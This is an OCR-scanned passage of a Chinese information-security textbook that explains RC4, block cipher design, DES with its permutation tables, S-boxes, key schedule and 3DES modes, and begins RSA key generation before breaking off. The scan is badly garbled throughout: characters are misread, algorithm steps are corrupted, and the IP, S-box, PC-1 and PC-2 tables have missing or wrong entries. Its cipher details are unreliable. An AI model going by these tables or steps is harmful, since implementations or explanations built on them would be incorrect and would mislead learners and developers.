的 周期 序列 ; 能 产生 具有 良好 的 统计 特性 的 序列 ; 它 的 结构 能 够 应 用 代数 方法 进行 很 好 的 
分 析 。 实 际 应 用 中 ,通常 将 多 个 LFSR 组 合 起 来 构造 非 线 性 反馈 移 位 寄存 器 ,n 级 非 线性 反 
馈 移 位 寄存 器 产生 伪 随 机 序列 的 周期 最 大 可 达 2” ,因此 研究 产生 最 大 周期 序列 的 方法 具有 

3. RC4 

RC4 是 由 麻 省 理工 学 院 的 Ron Rivest 教授 在 1987 年 为 RSA 公司 设计 的 一 种 可 变 密 
钥 长 度 .面向 字 节 流 的 序列 密码 。RC4 是 目前 使 用 最 广泛 的 序列 密码 之 一 ,已 应 用 于 
Microsoft Windows, Lotus Notes 和 其 他 应 用 软件 中 ,特别 是 应 用 到 SSL 协议 和 无 线 通信 
方面 。 

RC4 算法 很 简单 , 它 以 一 个 数据 表 为 基础 ,对 表 进 行 非 线性 变换 ,从 而 产生 密码 流 序 
列 。RC4 包含 两 个 主要 算法 : 密 钥 调度 算法 (Key-Scheduling Algorithm,KSA) 和 伪 随 机 生 
成 算法 (Pseudo Random Generation Algorithm, PRGA). 

KSA 的 作用 是 将 一 个 随机 密 钥 (大 小 为 40 一 256 位 ) 变 换 成 一 个 初始 置换 表 S。 过 程 
如 下 。 

(1) S 表 中 包含 256 个 元 素 SLO0] 一 SL255] ,对 其 初始 化 , 令 Sli=i1,0<i<255, 

(2) 用 主 密 钥 填充 字符 表 K ,如 果 密 钥 的 长 度 小 于 256 个 字 节 , 则 依次 重复 填充 ,直至 
将 K H, K=(K[i], 0<i<255}. 

(3) 令 j=0. 

(4) XF i 从 0 到 255 循环 : OJ=j7+SliJ+KLi] (mod 256); @ 交 换 SLIM S[j]。 

PRGA 的 作用 是 从 S 表 中 随机 选取 元 素 , 并 产生 密 钥 流 。 过 程 如 下 。 
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(1) i=0,j=0. 

(2) i=i+1(mod 256). 

(3) j=j+S[i](mod 256). 

(4) 交换 SEIM SE]. 

(5) t=S[i]+SLj](mod 256). 

(6) 输出 密 钥 字 k= SE]. 

虽然 RC4 要 求 主 密 钥 K 至 少 为 40 位 ,但 为 了 保证 安全 强度 ,目前 至 少 要 达到 128 位 。 


3.4.2 分 组 密码 


设 明文 消息 被 划分 成 若干 固定 长 度 的 组 m= m ,mz,… ,ms), 其 中 ;二 0 或 1,i 二 1， 
2,…,n, 每 一 组 的 长 度 为 n, 各 组 分 别 在 密 钥 二 (ki ,k,,…,k,) 的 作用 下 变换 成 长 度 为 7 的 
BE SPH c= Cer ,cs，…,c,)。 分 组 密码 的 模型 如 图 3-7 所 示 。 

k=lkiskz kn) 人 (bs 


| ee 


m=(m),M""*,Mn) C=(C1.€2°**.C,) m=(m; mz", Mn) 
一 一 一 一 一 一 | 加 密 算法 | 一 一 一 一 一 | 解密 算法 | 一 一 一 一 一 一 
明文 分 组 密 文 分 组 Les | 明文 分 组 


图 3-7 分 组 密码 模型 


分 组 密码 的 本 质 就 是 由 密 钥 k= 二 (ki ,ks。,….k,) 控 制 的 从 明文 空间 MKA n 的 比特 串 
的 集合 ) 到 密 文 空间 C( 长 为 + 的 比特 串 的 集合 ) 的 一 个 一 对 一 映射 。 为 了 保证 密码 算法 的 
安全 强度 ,加 密 变 换 的 构造 应 遵循 下 列 几 个 原则 。 

(1) 分 组 长 度 足 够 大 。 当 分 组 长 度 n 较 小 时 ,容易 受到 暴力 穷 举 攻击 ,因此 要 有 足够 大 
的 分 组 长 度 nn 来 保证 足够 大 的 明文 空间 ,避免 给 攻击 者 提供 太 多 的 明文 统计 特征 信息 。 

(2) 密 钥 量 空间 足够 大 ,以 抵抗 攻击 者 通过 穷 举 密 钥 破译 密 文 或 者 获得 密 钥 信息 。 

(3) 加 密 变 换 足 够 复杂 ,以 加 强 分 组 密码 算法 自身 的 安全 性 ,使 攻击 者 无 法 利用 简单 的 
数学 关系 找到 破译 缺口 。 

(4) 加 密 和 解密 运算 简单 ,易于 实现 。 分 组 加 密 算 法 将 信息 分 成 固定 长 度 的 二 进 制 位 
串 进行 变换 。 为 便于 软 、 硬 件 的 实现 ,一 般 应 选取 加 法 、 乘 法 、. 异 或 和 移 位 等 简单 的 运算 ,以 
避免 使 用 逐 比 特 的 转换 。 

(5) 加 密 和 解密 的 逻辑 结构 最 好 一 致 。 如 果 加 密 、 解 密 过 程 的 算法 逻辑 部 件 一 致 ,那么 
加 密 、 解 密 可 以 由 同一 部 件 实现 ,区 别 在 于 所 使 用 的 密 钥 不 同 , 以 简化 密码 系统 整体 结构 的 
复杂 性 。 

古典 密码 中 最 基本 的 变换 是 替代 和 置换 ,其 目的 是 产生 尽 可 能 混乱 的 密 文 。 分 组 密码 
同样 离 不 开 这 两 种 最 基本 的 变换 ,替代 变换 就 是 经 过 复杂 的 变换 关系 将 输入 位 进行 转换 , 记 
为 S, 称 为 S 盒 ; 移 位 变换 就 是 将 输入 位 的 排列 位 置 进行 变换 , 记 为 P, 称 为 P 盒 ,如 图 3-8 
所 示 。 

分 组 密码 由 多 重 S 盒 和 PP 盒 组 合 而 成 。S 盒 的 直接 作用 是 将 输入 位 进行 某 种 变换 ,以 
起 到 混乱 的 作用 ; P 盒 的 直接 作用 就 是 移动 输入 位 的 排列 位 置 关 系 ,以 起 到 扩散 的 作用 。 
分 组 密码 算法 就 是 采用 “混乱 与 扩散 ”两 个 主要 思想 进行 设计 的 ,这 是 Shannon 为 了 有 效 抵 


62 信息 安全 与 技术 


替代 置换 


o=--000 
Omen one 
o=-=--000 
o-oo- -o0 


(a) S 盒 (b)P 盒 
图 3-8 两 种 基本 变换 


抗 攻击 者 对 密码 体制 的 统计 分 析 提 出 的 基本 设计 思想 ,也 可 以 认为 是 分 组 密码 算法 设计 的 
基本 原理 。 实 现 分 组 密码 算法 设计 的 具体 操作 包括 以 下 3 个 方面 。 

(1) 替代 。 替 代 是 指 将 明文 位 用 某 种 变换 关系 变换 成 新 的 位 ,以 使 所 产生 的 密 文 是 一 
堆 杂 乱 无 章 的 乱码 ,这 种 变换 与 明文 和 密 钥 密切 相关 ,要 求 尽 可 能 地 使 密 文 与 明文 和 密 钥 之 
间 的 关系 十 分 复杂 ,不 便 破 译 者 从 中 发 现 规律 和 依赖 关系 ,从 而 加 强 隐 项 性 。 在 分 组 密码 算 
法 中 采用 复杂 的 非 线 性 蔡 代 变 换 就 可 达到 比较 好 的 混乱 效果 。 

(2) 置换 。 置 换 是 指 让 明文 中 的 每 一 位 (包括 密 钥 的 每 一 位 ) 直 接 或 间接 影响 输出 密 文 
中 的 许多 位 ,即将 每 一 比特 明文 (或 密 钥 ) 的 影响 尽 可 能 迅速 地 作用 到 较 多 的 输出 密 文 位 中 
去 ,以 便 达 到 隐蔽 明文 的 统计 特性 。 这 种 效果 也 称 为 雪崩 效应 ”, 也 就 是 说 ,输入 即使 只 有 
很 小 的 变化 ,也 会 导致 输出 位 发 生 巨 大 变化 。 分 组 密码 算法 设计 中 的 置换 操作 就 是 为 了 达 
到 扩散 的 目的 。 

(3) 乘积 变换 。 在 分 组 密码 算法 设计 中 ,为 了 增强 算法 的 复杂 度 ,常用 的 方法 是 采用 乘 
积 变换 的 思想 , 即 加 密 算法 不 仅 是 简单 的 一 次 或 两 次 基本 的 S 盒 和 了 P 盒 变换 ,而 是 通过 两 
次 或 两 次 以 上 S 盒 和 了 盒 的 反复 应 用 ,也 就 是 迭代 的 思想 ,克服 单一 密码 变换 的 弱点 ,构成 
更 强 的 加 密 结果 ,以 强化 其 复杂 程度 。 后 面 介绍 的 一 些 分 组 密码 算法 ,无 一 例外 地 都 采用 了 
这 种 乘积 密码 的 思想 。 


3.4.3 数据 加 密 标 准 


20 世纪 60 年 代 末 ,IBM 公司 开始 研制 计算 机 密码 算法 ,在 1971 年 结束 时 提出 了 一 种 
PA Luciffer 的 密码 算法 , 它 是 当时 最 好 的 算法 ,也 是 最 初 的 数据 加 密 算法 。1973 年 美国 
国家 标准 局 (NBS ,现在 的 美国 国家 标准 和 技术 研究 所 NIST) 征 求 国家 密码 标准 方案 ,IBM 
就 提交 了 这 个 算法 。1977 年 7 月 15 日 ,该 算法 被 正式 采纳 作为 美国 联邦 信息 处 理 标 准 生 
效 , 成 为 事实 上 的 国际 商用 数据 加 密 标准 被 使 用 , 即 数据 加 密 标 准 (Data Encryption 
Standard,DES) 。 当 时 规定 其 有 效 期 为 5 年 ,后 经 几 次 授权 续 用 ,真正 有 效 期 限 长 达 20 年 。 
在 这 20 年 中 ,DES 算法 在 数据 加 密 领 域 发 挥 了 不 可 替代 的 作用 。 进 入 20 世纪 90 年 代 以 
后 ,由 于 DES 密 钥 长 度 偏 短 等 缺陷 ,不 断 受到 诸如 差分 密码 分 析 ( 由 以 色 列 密码 专家 
Shamir 提出 ) 和 线性 密码 分 析 ( 由 日 本 密码 学 家 Matsui 等 人 提出 ) 等 各 种 攻击 威胁 ,使 其 安 
全 性 受到 严重 的 挑战 ,而 且 不 断 传 出 被 破解 的 消息 。 鉴 于 此 ,美国 国家 保密 局 经 多 年 授权 评 
估 后 认为 ,DES 算法 已 没有 安全 性 可 言 。 于 是 NIST 决定 在 1998 年 12 月 以 后 不 再 使 用 
DES 来 保护 官方 机 密 , 只 推荐 作为 一 般 商 业 使 用 。1999 年 又 颁布 新 标准 ,并 规定 DES 只 能 
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用 于 遗留 密码 系统 ,但 可 以 使 用 加 密 的 3DES 加 密 算 法 。 但 不 管 怎 样 ,DES 的 出 现 推动 了 
分 组 密码 理论 的 研究 ,起 到 了 促进 分 组 密码 发 展 的 重要 作用 ,而 且 它 的 设计 思想 对 掌握 分 组 
密码 的 基本 理论 和 工程 应 用 有 着 重要 的 参考 价值 。 

1. DES 算法 加 密 过 程 

DES 对 64 位 的 明文 分 组 进行 操作 。 通 过 一 个 初始 置换 (Initial 
Permutation, IP) ,将 明文 分 组 分 成 左 半 部 分 和 右 半 部 分 ,各 32 位 长 。 然 初始 置换 IP 
后 进行 16 轮 完 全 相同 的 运算 ,这 些 运算 被 称 为 函数 f ,在 运算 过 程 中 数 
据 与 密 钥 结合 。 经 过 16 轮 后 , 左 、 右 半 部 分 合 在 一 起 ,经 过 一 个 末 置 换 
(初始 置换 的 逆 和 置换) ,这 样 该 算法 就 完成 了 。DES 算法 的 加 密 过 程 如 reer 
图 3-9 所 示 o 

(1) DES 算法 的 特点 如 下 所 述 。 64 位 密 文 

O 分 组 加 密 算法 。 以 64 位 为 分 组 ,64 位 一 组 的 明文 从 算法 一 端 输 
入 ,64 位 密 文 从 另 一 端 输出 。 

@ 对 称 算法 。 加 密 和 解密 用 同一 密 钥 。 

@ 有 效 密 钥 长 度 为 56 位 。 密 钥 通 常 表示 为 64 位 数 ,但 每 个 第 8 位 用 作 奇 偶 校 验 ,可 
以 忽略 。 

@ 蔡 代 和 置换 。DES 算法 是 两 种 加 密 技 术 的 组 合 一 一 先 替 代 后 置换 。 

@ 易于 实现 。DES 算法 只 是 使 用 了 标准 的 算术 和 逻辑 运算 ,其 作用 的 数 最 多 也 只 有 
64 位 ,因此 用 20 世纪 70 年 代 末 期 的 硬件 技术 很 容易 实现 。 

(2) DES 算法 的 具体 加 密 过 程 如 下 。 

O 初始 置换 IP。 初 始 置换 方法 是 将 64 位 明文 的 位 置 顺序 打 乱 , 表 中 的 数字 代表 64 位 
明文 的 输入 顺序 号 , 表 中 的 位 置 代 表 置 换 后 的 输出 顺序 , 表 中 的 位 置 顺序 是 先 按 行 后 按 列 进 
行 排序 。 例 如 , 表 中 第 一 行 第 一 列 的 数字 为 58 ,表示 将 原来 排 在 第 58 位 的 比特 位 排 在 第 1 
位 ; 第 一 行 第 二 列 的 数字 为 50, 表 示 将 原来 排 在 第 50 位 的 比特 位 排 在 第 2 位 ,以 此 类 推 。 
不 妨 设 输入 位 序 为 mM, Mg "77264 ,初始 置换 后 变 为 mm) md = Msg Mso "17 o 初始 置换 表 中 
的 位 序 特征 : 64 位 输入 按 8 行 8 列 进行 排列 ,最 右边 一 列 按 2.4.6.8 和 1、3、5、7 的 次 序 进 
行 排列 , 往 左边 各 列 的 位 序号 依次 紧邻 其 右边 一 列 各 序号 加 8, 如 图 3-10 所 示 。 

58 50 42 34 26 18 10 
60 52 44 36 28 20 12 
62 54 46 38 30 22 14 
64 56 48 40 32 24 16 
57 49 41 33 25 17 9 
59 51 43 35 27 19 11 


61 53 45 37 29 21 13 
63 55 47 39 31 23 15 


64 位 明文 


乘积 变换 


图 3-9 DES 算法 


alalwle|ala} |r 


图 3-10 初始 变换 IP 
O 乘积 变换 (16 轮 迭 代 ) 。 乘 积 变换 部 分 要 进行 16 轮 迭 代 , 如 图 3-11 所 示 。 将 初始 置 
换 得 到 的 64 位 结果 分 为 两 半 , 记 为 L。 和 R ,各 32 位 。 设 初始 密 钥 为 64 位 ,经 密 钥 扩展 算 
法 产生 16 个 48 位 的 子 密 钥 , 记 为 Ki ,K,,… ,Ky ,每 轮 迭 代 的 逻辑 关系 为 : 
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| 
加 = La 四 JR ,Ki) 
KP 1S 16, MRE BRN Kb ER, 


64 位 明文 


初始 置换 IP 


| 


L324) RuG2 位 ) | 


‘Ky 


Li=Ro Ri=Lo@f(Ro.Ki) 


Lis=Ri4 


Ris=Lu BARKS) 


i | Kis 
O-—O— 
1 1 
RLis ©ARIs Ke) [ wer | 


一 一 一 一 


逆 初 始 置换 IP | 


64 位 密 文 


图 3-11 DES 算法 的 乘积 变换 


© 道 初始 置换 IP-: 。 逆 初始 置换 P 与 初始 置换 正好 相反 ,如 图 3-12 所 示 。 例 如 ， 
处 在 第 1 位 的 比特 位 置换 后 排 在 第 58 位 ,处 在 第 2 位 的 比特 位 置换 后 排 在 第 50 位 。 逆 初 
始 置 换 后 变 为 mim ema =mom mes 。 北 初始 置换 表 中 的 位 序 特征 : 64 位 输入 依然 按 8 
行 8 列 进行 排列 ,1 一 8 按 列 从 下 往 上 进行 排列 ,然后 是 9 一 16 排 在 右边 一 列 , 依 次 进行 排 4 
列 , 然 后 从 33 开始 排 在 第 一 列 的 左边 ,从 41 开始 排 在 第 二 列 的 左边 ,交叉 进行 。 


40 8 48 16 56 24 64 32 
39 7 47 15 55 23 63 31 
38 6 46 14 54 22 62 30 
37 5 45 13 53 21 61 29 
36 4 44 12 52 20 60 28 
35 3 43 11 51 19 59 27 
34 2 42 10 50 18 58 26 
33 1 41 9 49 17 57 25 


图 3-12 ” 逆 初始 变换 IP 
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2. 乘积 变换 中 的 f 变换 

乘积 变换 的 核心 是 f 变换 , 它 是 非 线性 的 ,是 每 轮 实现 混乱 的 最 关键 的 模块 ,输入 32 
位 ,经 过 扩展 置换 变 成 48 位 ,与 子 密 钥 进行 异 或 运算 ,选择 S 盒 蔡 换 ,将 48 位 压缩 还 原 成 
32 位 ,再 进行 P 盒 替换 ,输出 32 位 。 如 图 3-13 所 示 ,虚线 部 分 为 了 变换。 详细 的 变化 过 程 
如 图 3-14 所 示 o 


Li1(32 位 ) R32 位 ) | 


| 扩展 置换 (48 位 ) 
i } 密 钥 变换 
| F IKASI) 
| | 
I 
1 
1 
1 
1 
1 


1 
1 
S$ 全 蔡 换 (48 位 ) | 
1 
1 
t 


i 
P 盒 蔡 换 (32 位 ) 


| -© 


L(32 位 ) RA(32 位 ) 


图 3-13 一 轮 迭 代 过 程 


32 位 


扩展 置换 
48 位 
一 一 一 K(48 位 
ae (48 位 ) 
eir 6 位 6 位 oit} etù 6 位 etù 6 位 


Eee 


4 位 4 位 4 位 pa 4 位 4 位 4 位 
PRE 


FE 
a 


32 位 
图 3-14 了 变换 的 计算 过 程 


1) 扩展 置换 
扩展 置换 将 32 位 扩展 成 48 位 , 按 如 图 3-15 所 示 的 排列 方式 进行 重新 排列 。 
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28 29 30 31 32 1 


图 3-15 扩展 置换 


2) S 盒 替换 

将 48 位 按 6 位 分 为 1 组 , 共 8 组 ,也 称 为 8 个 S 盒 , 记 为 SS*…Ss。 每 个 S 盒 产生 4 位 
输出 。8 个 S 盒 的 替换 表 如 表 3-8 所 示 。 

每 个 S 盒 都 由 4 行 X16 列 组 成 ,每 行 是 0 一 15 的 一 个 全 排列 ,每 个 数字 用 对 应 的 4 位 
二 进 制 比特 串 表示 。 如 9 用 1001 表示 ,7 用 0111 表示 。 设 6 位 输入 为 masasaiasae ,将 
aias 组 成 一 个 2 位 二 进 制 数 ,对 应 S 盒 表 中 的 行 号 ; 将 azasasas 组 成 一 个 4 位 二 进 制 数 ,对 
应 S 盒 表 中 的 列 号 。 这 样 ,映射 到 交叉 点 的 数据 就 是 该 S 盒 的 输出 。 

例如 ,已 知 第 2 个 S 盒 的 输入 为 111101, 则 ww = 1,45 =1ayag = C11), = 3, KH X AY 

行 号 


行 号 为 3,(azsasaias) 一 (1110): 一 14, 表 明 对 应 列 号 为 14。 查 第 2 个 S 盒 替换 表 ,S, 中 
为 3, 列 号 为 14 列 的 数据 为 14, 化 成 二 进 制 得 到 输出 为 1110。 


表 3-8 S 盒 蔡 换 表 

0 14 4 13 1 2 15 | 11 8 3 10 6 12 0 7 

1 15 7 4 14 2 13 1 10 6 12 | 11 5 3 8 s, 
2 1 14 8 13 6 2 11 | 15 | 12 7 7 10 5 0 

3 15 | 12 8 2 9 1 5 11 | 14 | 14 | 10 | 0 6 13 

0 15 1 8 14 6 11 3 4 9 7 2 13 | 12 0 5 10 

1 13 4 7 15 8 14 | 12 0 1 10 6 9 11 5 

2 0 14 7 11 | 10 13 1 5 8 12 6 3 2 15 es 
3 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 

0 10 0 14 6 3 15 5 1 13 | 12 7 11 4 2 

1 13 y 9 3 4 6 10 2 8 5 14 | 12 | 11 | 15 1 

2 13 6 4 9 8 15 3 a 1 2 12 5 10 | 14 7 
3 1 10 | 13 0 6 9 8 7 4 15 | 14 3 11 5 2 12 

0 7 13 | 14 3 0 6 9 10 1 2 8 5 11 | 12 4 15 

1 13 8 i 5 6 15 0 3 4 7 2 12 1 10 | 14 

2 10 6 0 12 | 11 7 13 | 15 1 3 14 5 2 8 k 
3 3 15 6 10 i 13 8 9 4 5 11 | 12 d 2 14 


第 3 章 信息 保密 技术 67 
续 表 
列 
0 1 2 3 4 5 6 7 8 9 10 | 11 | 12 | 13 | 14 | 15 
行 

0 2 12 4 1 7 10 | 11 6 8 5 3 15.1 13 0 14 9 
1 14 | 11 2 12 4 7 13 1 5 0 15 | 10 3 9 8 6 

2 4 2 1 11 | 10 | 13 7 8 15 9 12 $ 6 3 0 14 S 
3 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3 
0 12 1 10 | 15 9 2 6 8 0 13 3 4 14 7 5 11 
1 19 | 15 4 2 7 12 9 5 6 1 13 | 14 0 11 3 8 

2 14 | 15 5 2 8 12 3 7 0 4 10 1 13) 11 6 Ss 
3 4 3 2 12 9 5 15 | 10 | 1 14 i 7 6 0 8 13 
0 4 11 2 14 | 15 0 8 13 3 12 9 7 5 10 6 1 
1 13 0 11 vi 4 9 } 10 | 14 3 5 12 2 15 8 6 

2 1 4 11 13 | 12 3 7 14 | 10 | 15 6 8 0 5 9 2 Si 
3 6 11 13 8 1 4 10 “d 9 5 0 15 | 14 2 3 12 
0 13 2 8 4 6 i5 | TE i 10 9 3 14 5 0 12 7 
1 1 5 13 8 10 3 7 4 12 5 6 11 0 14 9 2 

2 7 11 4 1 9 12 | 14 2 0 6 10 | 13 | 15 3 5 8 s% 
3 2 1 14 A 4 10 8 13 | 15 | 12 9 0 3 5 6 JU 

3) P meme 


P 盒 替换 就 是 将 S 盒 蔡 换 后 的 32 位 作为 输入 , 按 图 3-16 所 示 的 顺序 重新 排列 ,得 到 的 
32 位 结果 即 为 f 函数 的 输出 f CR + Ki) 6 


16 7 20 21 
29 12 28 17 
1 15 23 26 
5 18 31 10 
2 8 24 14 
32 27 3 9 
19 13 30 6 
22 11 4 25 
3-16 PRR 


3. 子 密 钥 的 生成 

初始 密 钥 长 度 为 64 位 ,但 每 个 第 8 位 是 奇偶 校 验 位 ,分 布 在 第 8、16、24、32、40、48、56 
和 64 位 的 位 置 上 ,目的 是 用 来 检 错 ,实际 的 初始 密 钥 长 度 是 56 位。 在 DES 算法 中 ,每 一 轮 
迭代 需要 使 用 一 个 子 密 钥 , 子 密 钥 是 从 用 户 输入 的 初始 密 钥 中 产生 的 。 图 3-17 为 各 轮子 密 
钥 产生 的 流程 图 。 

子 密 钥 的 生成 过 程 包 括 置 换 选 择 1(PC-1)、 循 环 左 移 、 置 换 选 择 2(PC-2) 等 变换 ,分 别 
产生 16 个 子 密 钥 。 

1) 置换 选择 1(PC-1) 

对 于 64 位 初始 密 钥 K, 按 表 3-9 所 示 的 置换 选择 表 PC-1 进行 重新 排列 。 不 难 算出 , 丢 
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64 位 密 钥 及 
i 
置换 选择 1(PC-1) 

Co(28 位 ) Do(28 位 ) 

1 1 第 1 轮 
LS, LS, 

1 i 
CIC8 位 ) Di(28 位 ) 

=| 置换 选择 2(PC-2) 一 Ki(48 位 ) 
| l (56 位 ) 
LSi6 LSi6 第 16 轮 
第 16: 

1 
Cie(28 位 ) Die(28 位 ) 


置换 选择 2(PC-2) [一 一 Kie(48 位 ) 


(56 位 ) 


图 3-17 子 密 钥 的 产生 流程 


掉 了 其 中 8 的 整数 倍 位 置 上 的 比特 位 ,置换 选择 1 后 的 变换 结果 是 56 位 。 将 前 28 位 记 为 
Co JA 28 位 记 为 Doo 


表 3-9 “置换 选择 1(PC-1)” 的 置换 表 


57 49 41 33 25 17 8 
1 58 50 42 34 26 18 
10 2 59 51 43 35 27 
19 11 3 60 52 44 36 
63 55 47 39 31 23 15 
7 62 54 46 38 30 22 
14 6 61 53 45 37 29 
21 13 5 28 20 12 4 
2) 循环 左 移 


在 不 同 轮 次 ,循环 左 移 LS, (1 二 i 志 16) 的 位 数 不 同 ,如 表 3-10 所 示 。 第 一 轮 循环 左 移 
LS 二 1, 第 二 轮 循环 左 移 LS, 二 1, 第 三 轮 循环 左 移 LS; 二 2 ,以 此 类 推 。 


表 3-10 循环 座 左 移 的 位 数 


迭代 次 数 i 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 


循环 左 移 LS; 1 i 2 2 2 2 2 2 1 2 2 2 2 2 2 1 


3 置换 选择 2(PC-2) 
与 置换 选择 1 相同 ,对 输入 的 32 位 比特 串 按 表 3-11 所 示 的 置换 选择 表 PC-2 进行 重新 
排列 ,输出 即 为 子 密 钥 。 
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表 3-11 “置换 选择 2(PC-2)” 的 置换 表 


14 17 11 24 1 5 
3 28 15 6 21 10 
23 19 12 4 26 8 
16 7 27 20 13 
41 52 31 37 47 55 
30 40 51 45 33 48 
44 49 39 56 34 53 
46 42 50 36 29 32 
4. DES 解密 过 程 
DES 解密 过 程 的 逻辑 结构 与 加 密 过 程 一 致 ,但 须 注意 以 下 两 点 。 


(1) 第 16 轮 迭 代 结 束 后 须 将 左右 两 个 分 组 交换 位 置 , 即 将 Lis Ri 交换 顺序 。 

(2) 解密 过 程 中 使 用 的 子 密 钥 的 顺序 与 加 密 时 的 顺序 正好 相反 ,依次 为 Kiss Kas ,…， 
Ki, 即 当 把 64 位 密 文 作为 明文 输入 时 ,解密 过 程 的 第 1 轮 迭 代 使 用 子 密 钥 Ki ,第 2 轮 迭 代 
使 用 子 密 钥 Kis ,… ,第 16 REAT EH Ki ; 同 理 ,第 16 轮 迭 代 后 须 交 换 顺 序 ,最 终 输 
出 得 到 64 位 明文 。 

5. DES 算法 的 安全 隐患 

现在 来 看 ,DES 算法 具有 以 下 三 点 安全 隐患 。 

(1) 密 钥 太 短 。DES 的 初始 密 钥 实际 长 度 只 有 56 位 ,批评 者 担心 这 个 密 钥 长 度 不 足以 
抵抗 穷 举 搜索 攻击 , 穷 举 搜索 攻击 破解 密 钥 最 多 尝试 的 次 数 为 2” 次 ,不 太 可 能 提供 足够 的 
安全 性 。1998 年 前 只 有 DES 破译 机 的 理论 设计 ,1998 年 后 出 现实 用 化 的 DES 破译 机 。 

(2) DES 的 半 公 开 性 。DES 算法 中 的 8 个 S 盒 替换 表 的 设计 标准 ( 指 详细 准则 ) 自 
DES 公布 以 来 仍 未 公开 ,替换 表 中 的 数据 是 否 存在 某 种 依存 关系 ,用 户 无 法 确认 。 

(3) DES 迭代 次 数 偏 少 。DES 算法 的 16 轮 迭 代 次 数 被 认为 偏 少 ,在 以 后 的 DES 改进 
算法 中 ,都 不 同 程度 地 进行 了 提高 。 

6. 三 重 DES 应 用 

针对 DES 密 钥 位 数 和 迭代 次 数 偏 少 等 问题 .有 人 提出 了 多 重 DES 来 克服 这 些 缺 陷 , 比 
较 典 型 的 是 2DES,3DES 和 4DES 等 几 种 形式 ,实用 中 一 般 广泛 采用 3DES 方案 , 即 三 重 
DES。 它 有 以 下 4 种 使 用 模式 。 

(1) DES-EEE3 模式 : 使 用 3 个 不 同 密 钥 (Ki ,K,,K;), 采 用 三 次 加 密 算法 。 

(2) DES-EDE3 模式 : 使 用 3 个 不 同 密 钥 (Ki ,K: ,K: ) ,采用 加 密 一 解密 一 加 密 算 法 。 

(3) DES-EEE2 模式 : 使 用 两 个 不 同 密 钥 (Ki =K: K) ,采用 三 次 加 密 算法 。 

(4) DES-EDE2 模式 : 使 用 两 个 不 同 密 钥 (K; =K. K) ,采用 加 密 一 解密 一 加 密 算法 。 

3DES 的 优点 : 密 钥 长 度 增加 到 112 位 或 168 位 , 抗 穷 举 攻击 的 能 力 大 大 增强 ; DES SE 
本 算法 仍然 可 以 继续 使 用 。 

3DES 的 缺点 : 处 理 速度 相 对 较 慢 ,因为 3DES 中 共 需 迭代 48 次 ,同时 密 钥 长 度 也 增加 
了 ,计算 时 间 明 显 增 大 ; 3DES 算法 的 明文 分 组 大 小 不 变 , 仍 为 64 位 ,加 密 的 效率 不 高 。 


70 信息 安全 与 技术 


3.5 非 对称 密 码 体 制 


1976 年 Diffie 与 Hellman 在 IEEE 期 刊 上 提出 了 划时代 的 公开 密 钥 密码 系统 的 概念 ， 
这 个 观念 为 密码 学 的 研究 开辟 了 一 个 新 的 方向 ,有 效 地 解决 了 秘密 密 钥 密码 系统 通信 双方 
密 钥 共享 困难 的 缺点 ,并 引进 了 创新 的 数字 签名 的 观念 。 非 对 称 密码 系统 (Asymmetric 
Encryption) 可 为 加 解密 或 数字 签名 系统 。 由 于 加 密 或 签名 验证 密 钥 是 公开 的 , 故 称 为 公 钥 
(Public Key); 而 解密 或 签名 产生 密 钥 是 秘密 的 , 故 称 为 私 钥 (Private Key)。 因 为 公 钥 与 私 
钥 不 同 , 且 公 钥 与 私 钥 必 须 存 在 成 对 (Key Pair) 与 唯一 对 应 的 数学 关系 ,使 得 由 公 钥 去 推导 
私 钥 在 计算 上 不 可 行 ,因此 非 对 称 密码 系统 又 称 为 公开 密 钥 系统 或 双 钥 系统 ,其 模型 如 
图 3-18 所 示 。 公 钥 密码 体制 的 公 钥 密 码 算法 是 基于 数学 问题 求解 的 困难 性 而 提出 的 算法 ， 
它 不 再 是 基于 替代 和 置换 的 方法 。 


A 


Alice 私 钥 Alice 公 钥 
asdnfal 


8 sdjflas 
djflaks 
Alice Bob 


图 3-18 非 对 称 密码 模型 


公 钥 密码 体制 的 产生 主要 基于 两 个 原因 : 一 是 为 了 解决 常规 密 钥 密码 体制 的 密 钥 管理 
与 分 配 的 问题 ; 二 是 为 了 满足 对 数字 签名 的 需求 。 因 此 , 公 钥 密码 体制 在 消息 的 保密 性 、 密 
钥 分 配 和 认证 领域 有 着 重要 的 意义 。 

在 公 钥 密码 体制 中 , 公 钥 是 可 以 公开 的 信息 ,而 私 钥 是 需要 保密 的 。 加 密 算法 E 和 人 解 
密 算法 了 也 都 是 公开 的 。 用 公 钥 对 明文 加 密 后 , 仅 能 用 与 之 对 应 的 私 钥 解密 ,才能 恢复 出 
明文 ,反之 亦 然 。 

公 钥 密码 体制 的 优 、 缺 点 如 下 。 

CL) 优点 : 网 络 中 的 每 一 个 用 户 只 需要 保存 自己 的 私 钥 , 则 N 个 用 户 仅 需 产生 N 对 密 
钥 , 密 钥 少 ,便于 管理 ; 密 钥 分 配 简 单 ,不 需要 秘密 的 通道 和 复杂 的 协议 来 传送 密 钥 , 公 钥 可 
基于 公开 的 渠道 (如 密 钥 分 发 中 心 ) 分 发 给 其 他 用 户 , 而 私 钥 则 由 用 户 自己 保管 ; 可 以 实现 
数字 签名 。 

(2) 缺点 : 与 对 称 密码 体制 相 比 , 公 钥 密码 体制 的 加 密 、 解 密 处 理 速 度 较 慢 , 同 等 安全 
强度 下 公 钥 密码 体制 的 密 钥 位 数 要 求 多 一 些 。 

公 钥 密码 体制 比较 流行 的 主要 有 两 类 : 一 类 是 基于 因子 分 解难 题 的 ,其 中 最 典型 的 是 
RSA 密码 算法 ; 另 一 类 是 基于 离散 对 数 难题 的 ,如 ElGamal 公 钥 密码 体制 和 椭圆 曲线 公 钥 
密码 体制 。 
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3.5.1 RSA 密码 算法 


RSA 密码 算法 是 美国 麻 省 理工 学 院 的 Rivest, Shamir 和 Adleman 三 位 学 者 于 1978 年 
提出 的 。RSA 密码 算法 方案 是 唯一 被 广泛 接受 并 实现 的 通用 公开 密码 算法 ,目前 已 经 成 为 
公 钥 密码 的 国际 标准 。 它 是 第 一 个 既 能 用 于 数据 加 密 , 也 能 用 于 数字 签名 的 公开 密 钥 密码 
算法 。 在 Internet 中 ,电子 邮件 收 ,发 的 加 密 和 数字 签名 软件 PGP 就 采用 了 RSA 密码 
算法 。 

1. 算法 描述 

RSA 密码 算法 描述 如 下 。 

(1) 密 钥 对 的 产生 。 

O 选取 两 个 大 素数 p Mq. 

© HF n=p eq Mn 的 欧 拉 函 数值 pg(n)==(p 一 1)(g 一 1)。 

